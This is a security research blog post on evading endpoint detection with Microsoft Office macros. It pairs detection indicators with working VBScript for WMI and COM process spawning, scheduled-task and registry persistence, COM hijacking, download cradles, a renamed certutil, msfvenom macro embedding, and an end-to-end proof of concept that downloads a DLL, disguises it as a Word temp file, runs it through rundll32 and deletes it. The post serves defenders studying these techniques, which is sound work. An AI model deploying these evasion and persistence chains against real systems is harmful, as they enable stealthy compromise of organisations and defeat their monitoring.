Dechaining Macros and Evading EDR

Threats & Research

Reading time: 17 min
Noora Hyvärinen




Microsoft Office macros continue to be one of the primary delivery mechanisms in real world attacks seen by Countercept and often present the easiest and simplest way to compromise most organisations. However, common payloads haven’t changed that much over time, aside from the addition of increasingly complex obfuscation.

In this post we’ll discuss the main macro execution options and the kinds of endpoint (EDR) activity they generate, as well as future directions that are being/may be taken by threat actors and the detection techniques that can be applied.

Obfuscation of macro code will not be covered in this post, as this is a huge topic in of itself.

The Typical Approach

Office macros are written in VBScript. Although a somewhat painful language to use, VBScript is fully featured allowing full access to the underlying system. Despite its power most threat actors will use lightweight code to simply download and execute a secondary payload directly from the Office process. Very often they will also rely on PowerShell and various LOLBins.

For example, Emotet [1] has consistently used a winword/cmd/PowerShell combo similar to:

cmd /c powershell <URL list><download and execute payload>

A nice LOLBin example is APT28 using certutil from a macro to decode a payload once it’s been downloaded:

certutil -decode <text payload> <exe payload>

Although macro payloads are often heavily obfuscated and can bypass static analysis, approaches like this generate anomalous patterns of activity that are easily detectable with an EDR agent.

dechaining macros processtree

So is that the end of macro-based attacks? Far from it. As an attacker, we just need to be smarter about how we are executing our payloads. We need to think more about dechaining (spreading activity over different techniques, systems, time periods or user accounts), different payload deployment techniques, and think about blending in. All of these introduce complexity from a defensive point of view and decrease the chance you’ll be caught.

There are a huge number of possibilities when you apply this concept to macros, as VBScript lets you change files, memory and the registry, providing many ways to bypass both static and dynamic analysis. In the following sections we’ll discuss some of the options that exist.

Evading Parent/Child Analysis

Parent/child analysis is often used by defensive teams to spot anomalous programs being spawned by Microsoft Office. However, there are a number of approaches that can be used to evade parent/child detection by spawning processes from other processes.

The first and one of the most commonly seen is using WMI to launch a new process [2]. Using this technique the new process will be spawned under “wmiprvse.exe” instead of the Office process. The code to perform this is below:

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("Notepad.exe", Null, objConfig, intProcessID)

Another option is to use Parent PID Spoofing with CreateProcessA. In a previous blog post we showed how this technique can be used directly from a macro to execute a process from an arbitrary parent process [3].

The final technique to mention is using COM. COM is a really interesting approach as you can essentially reference any COM object (effectively another executable) from VBScript and use its functions. For example, the object ShellBrowserWindow can be used to execute new processes from Explorer:

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0

Another variant is the use of XMLDOM, which was discovered by MDSec. The power of this object is that it allows both the download and execution of code within the Office process, all in just five lines of code. [4]

Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xml.transformNode xsl

All of these techniques can help evade naive parent/child Office detection rules. However, some techniques are still detectable. For example, defenders can look for wmiprvse/explorer spawning suspicious processes or perform detection of PID spoofing with ETW. The XMLDOM activity could be detected by looking for a module load event for msxml3.dll (although a potential bypass here is calling MSXML2.DomDocument.6.0 instead which will use msxml6.dll which is loaded by default). Analysis of COM usage could provide some interesting insights; however, this dataset is not typically logged by endpoint tooling.

Scheduled Task Creation

VBScript lets you create Scheduled Tasks, which can be abused to not only dechain activity from Office (svchost.exe will spawn the task), but also dechain the timing of activity; for example, a malicious task could be set to activate days or weeks in the future.

Last year Countercept saw an increase in the number of macro-based malware campaigns, such as Dridex, which used scheduled task creation instead of executing new processes directly from Office. The in-the-wild code was directly taken from a Microsoft post [5]. A condensed version is below:

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\notepad.exe"
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)

Aside from the task creation itself, another nice detection indicator here is the use of taskschd.dll, which will be loaded by Office when the Schedule.Service object is created.

It’s also possible to create services directly from VBScript using Win32_BaseService; however, this requires administrative/high integrity access so in general is not a good approach.

Registry Modification

VBScript also allows access to the registry – allowing the storing of payloads, modification of settings, and creation of persistence entries directly from a macro. This is another great way to dechain second stage payload execution from the initial macro dropper, as payloads can be configured to execute on boot as opposed to directly executing from the macro.

I’ve included two Run Key creation examples below, one using WMI, the other using WScript.

Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
objRegistry.SetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "key1", "value1"

dechaining macros wmirunkey

Viewing the WMI activity in ProcMon we can confirm wmiprvse is responsible for the key creation. The second example using WScript won’t spawn a new process and instead creates the keys directly from winword:

Set WshShell = CreateObject("WScript.Shell")
WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\key2", "value2", "REG_SZ"

dechaining macros winwordrunkey

From a defensive perspective looking for registry writes to persistence locations from Office would be a nice indicator here. From the offensive side you’d probably want to use the WMI approach as it may blend in more. Also, to make this operational we could set our value to PowerShell or a LOLBin, like regsvr32. Although this would be somewhat noisy from an endpoint perspective the big advantage would be a very small macro payload, literally two lines!

While the previous approach is easy to implement, in general creating such obvious persistence entries will increase your chances of being caught. A far more stealthy approach would be to use registry-based COM hijacking in combination with a dropped file. GData have a great post [6] where they covered a real-world COM hijacking example that replaced COM values to redirect execution. A similar variant was demonstrated by Enigma, which abused HKCR loading, as well as Scheduled Tasks that referenced COM entries. [7]

The following VBScript recreates this attack creating a malicious entry for the MsCtfMonitor Scheduled Task:

Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
clsid = "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
objRegistry.CreateKey &H80000001, "Software\Classes\CLSID\" & clsid & "\InprocServer32"
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid & "\InprocServer32", "", Environ("TEMP") & "\payload.dll"
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid & "\InprocServer32", "ThreadingModel", "Apartment"

From a defensive perspective it may be difficult to detect this activity unless you are specifically analysing CLSID registry keys being modified or performing least frequency analysis of loaded modules.

Although we won’t cover an example, do remember that you could also store a payload within the registry and then retrieve/execute it using a different technique. Office often references the following path “HKCU\Software\Microsoft\Office\15.0\*” making it potentially a nice location for hiding payloads.

Dropping Files

Dropping files has its pros and cons. Making changes to disk can often mean payloads are analyzed by antivirus and leave forensic artefacts. Yet in most breaches attackers still use payloads dropped to disk due to the convenience and ease of having a solid foothold in a network.

In VBScript we can make use of the FileSystemObject to drop files. A crude example is shown below where a startup item is added:

Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\test.bat", True)
objFile.Write "notepad.exe" & vbCrLf

As the execution of the payload would only occur at startup this nicely dechains our initial stager/payload from the macro activity. However, Office creating a BAT file or any file in the startup folder is somewhat suspicious and something defenders may spot.

By carefully choosing filenames, file paths and file metadata we can make it a lot more difficult for defenders to spot anomalous files. For example, we could blend in more by mirroring typical Winword activity and use one of the below real world entries:


A really nice combined file drop/persistence method would be to modify the default Office template at:


From a defensive perspective it would be difficult to detect template modification from Office as malicious.

Download Content

There are multiple ways VBScript can be used to download content. This content can then be dropped to disk, inserted into the registry or injected into memory.

One of the most common and simplest methods is using the XMLHTTP library along with ADODB to output to file.

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "", False
With bStrm
    .Type = 1
    .write xHttp.responseBody
    .savetofile Environ("APPDATA") & "\test.exe", 2
End With

Another option would be to use a direct API call, for example a simple VBScript download cradle can be implemented using URLDownloadToFIleA.

Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal pCaller As Long, _
ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
x = URLDownloadToFileA(0, "", Environ("APPDATA") & "\test.exe", 0, 0)

Part of the challenge with the previous techniques is that they will generate an outbound network connection from Office. A slightly sneakier approach is to use Internet Explorer COM; this will spawn a browser from svchost (not Office) to download content:

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate ""
State = 0
Do Until State = 4
State = ie.readyState
Dim payload: payload = ie.Document.Body.innerHTML

Another potential trick to use here is copying and using system binaries to download/execute a payload. This approach has previously been used by threat actors to evade naïve detection rules that look for specific process names/paths; e.g. PowerShell, mshta, certutil etc. This approach is really simple using the copyfile function:

Set fso = CreateObject("Scripting.FileSystemObject")
fso.copyfile "C:\Windows\System32\certutil.exe", Environ("TEMP") & "\CVR497F.tmp", True
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd", "/k cd %temp% && ren CVR497F.tmp && -ping > CVR31EF.tmp && del", "", Null, 0

The above example shows how a renamed certutil can be used to download a payload. A file write event will be seen from Office, but use a common path and filename used by Office. I also added a sneaky echo 1 to modify the hash of the file. This trick would be useful to evade detection rules going by hash, but could still be detected by defenders looking at file metadata. As mentioned previously, any use of LOLBins or spawning of cmds in such a way is not recommended, especially as we could have completed our actions from within the macro itself.

Embed File and Drop

Do remember you can also embed your payload/binary directly within the macro/document itself. Metasploit contains a feature “vba-exe” that allows you to create a macro with embedded payload. This can be useful if you want to avoid downloading a second stage payload or don’t want to create anomalous network connections from Office. For example to embed a calc in a macro:

msfvenom -p generic/custom PAYLOADFILE=/home/user1/Downloads/calc.exe -a x64 --platform windows -f vba-exe

Which will give us a text blob that is our binary to insert in the document, and a macro to extract and drop to disk. It’s worth mentioning I hit a size error when doing this:

“Error: The EXE generator now has a max size of 2048 bytes, please fix the calling module”

I ended up hacking the below file and increasing the size limit from 2048 to 204800, which fixed the error:


The one issue with the default Metasploit template is that it spawns processes from Office, which is the opposite of what we want to do. However, it’s relatively easy to adjust the code to replace the “Shell” execute command with one of the parent/child evasion techniques described in this post.

Memory Injection

As shown before, we can use Windows API functions directly in our macro to obtain access to more powerful lower level OS functionality. One application of this is memory injection in order to execute shellcode directly from the memory of the current process or another process. There are a few advantages to this approach including:

  • No need to drop additional files
  • Ability to execute code from within another legitimate process
  • Use of raw shellcode that is harder to detect/analyze

Although not required, this approach is particularly powerful when the payload is downloaded on the fly as opposed to being included within the macro itself. This aids in making analysis more difficult or even not possible at all if IP locking or some kind of host/domain keying is used in the C2.

There are many possible memory injection techniques and pretty much all of them can be ported to VBScript. Endgame has a great post covering the main techniques here [8]. These have long been abused by attackers. Hancitor malware, for example, has used injection/execution of shellcode within Office processes before using process hollowing to move into a separate process [9].

There are, however, some caveats with memory injection when it comes to EDR:

  • Anomalous API Calls – Antivirus and EDR will often monitor specific APIs that are commonly used for memory injection. Making use of functions such as VirtualAlloc, VirtualProtect, SetThreadContext, CreateThread/CreateRemoteThread will increase your chance of being caught.
  • Macro Code Size/Content – One drawback of using memory modification code is that your macro code will tend to become larger and can expose you to static detection. I would recommend keeping macro payloads as small/simple as possible to avoid detection.
  • Memory permissions – Often attackers will use RWX permissions when allocating memory. However, the existence of non file-backed memory regions that are marked as RWX can be anomalous. Switching memory permission to RX once a payload has been written in memory can help bypass such detection (although this activity in itself can be anomalous!).

For these reasons (and added development complexity) it can often be preferable to actually avoid memory injection techniques when it comes to macro delivery.

Bringing Everything Together

This post has covered a lot of different techniques and I wanted to finish things up with an example that combined everything to create a sneaky payload that will be challenging for defenders to detect. The payload below will retrieve a DLL from Pastebin, drop the DLL to the temp folder, followed by execution with rundll32. Although straightforward, each step has been crafted to make detection more difficult. Opsec checklist:

  • Network connections out of Internet Explorer – Done
  • Dropping a payload that imitates a legitimate word temporary file – Done
  • Launching legitimate processes from Explorer – Done
  • Executing a final payload using rundll impersonating legitimate activity – Done
  • Lightweight, easy to use macro without any embedded payload – Done
  • Each step of activity dechained from the previous step – Done

I created a basic DLL payload to launch notepad, this was then converted to hex with the PowerShell below and uploaded to Pastebin:

 ([System.IO.File]::ReadAllBytes($(resolve-path C:\payload.dll))| ForEach-Object { '{0:x2}' -f $_}) -join ''

Proof of concept below:

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate ""
State = 0
Do Until State = 4: DoEvents: State = ie.readyState: Loop
Dim payload: payload = ie.Document.Body.getElementsByTagName("pre").Item(0).innerHTML
p = Environ("TEMP") & "\CVR" & Int(Rnd * 999) + 1 & "F.tmp.cvr"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(p, True)

With objFile: For lp = 1 To Len(payload) Step 2: .Write Chr(CByte("&H" & Mid(payload, lp, 2))): Next: End With: objFile.Close
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "rundll32", p & ",zzzzInvokeManagedCustomActionOutOfProc SfxCA_25158221 64 CustomAction_OutlookCheck!CustomAction_OutlookCheck.CustomActions.OutlookCheck", "", Null, 0
Dim dt: dt = DateAdd("s", 3, Now()): Do Until (Now() > dt): Loop
objFSO.DeleteFile p

From a detection point of view there are a few different indicators. The rundll execution for example will show up in process data. Although it mimics legitimate activity seen in the real world, you could potentially alert on the reference to a temporary location or module load from a temporary location.

Another subtle detection indicator here is the size of the file dropped, during testing legit tmp files were always zero kilobytes, whereas a payload will obviously be a lot larger.

One final indicator was actually Antivirus, with no obfuscation this payload was 9/58 on VirusTotal. However as always this is probably something which can easily be evaded, maybe a challenge for another post 😉

dechaining macros vt


The Office macro is a tried and tested attack vector that is still widely used in a significant number of attacks. On the surface you might assume that with the rise of EDR tooling such attacks could be prevented. However, as shown in this post, with some clever ingenuity there are multiple ways to bypass common detection approaches.

With carefully chosen payloads Blue teamers will be pushed to their limits in detecting such activity due to the way it can blend in with legitimate behaviour. As always this emphasises the need for continual research and improvements in detection tooling to keep pace with offensive innovation.












Related posts

April 16, 2024

5 phases of a cyber attack: The attacker’s view

Cyber security is not something you do once and then you’re done. It is a continuous process that should be part of everything you do. However, no one has the resources to do everything perfectly. Thus, your goal should be constant improvement.

Read more
April 16, 2024

Of Cameras & Compromise: How IoT Could Dull Your Competitive Edge

The Internet of Things is here. And with it are exciting possibilities, cost savings and efficiencies. But there’s a dark side to this bright new world, and it can be summed up in what we call Hypponen’s Law: If it’s smart, it’s vulnerable.

Read more
April 16, 2024

How to decompile any Python binary

At WithSecure we often encounter binary payloads that are generated from compiled Python. These are usually generated with tools such as py2exe or PyInstaller to create a Windows executable.

Read more
April 16, 2024

The Chilling Reality of Cold Boot Attacks

What do you do when you finish working with your laptop? Do you turn it off? Put it to sleep? Just close the lid and walk away?

Read more